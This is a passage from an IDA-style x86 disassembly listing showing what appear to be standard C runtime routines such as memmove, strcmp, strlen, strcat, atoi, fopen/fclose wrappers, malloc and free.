		mov	[edi+ecx*4-0Ch], eax

loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------

loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------

loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld

loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------

loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------

loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C

loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi

loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0

loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	ds:dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------

loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------

loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE

loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx

loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	ds:dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------

loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, ds:off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------

loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax

loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------

loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7

loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4

loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi

loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9

loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]

loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------

loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------

loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------

loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------

loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi

loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC

loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD

loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------

loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]

loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56

loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------

loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------

loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0

loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0

loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------

loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50

loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C

loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73

loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B

loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	ds:dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4

loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2

loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, ds:dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, ds:dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------

loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi

loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, ds:dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------

loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi

loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap

loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, ds:dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi

loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E4	; RtlFreeHeap

loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
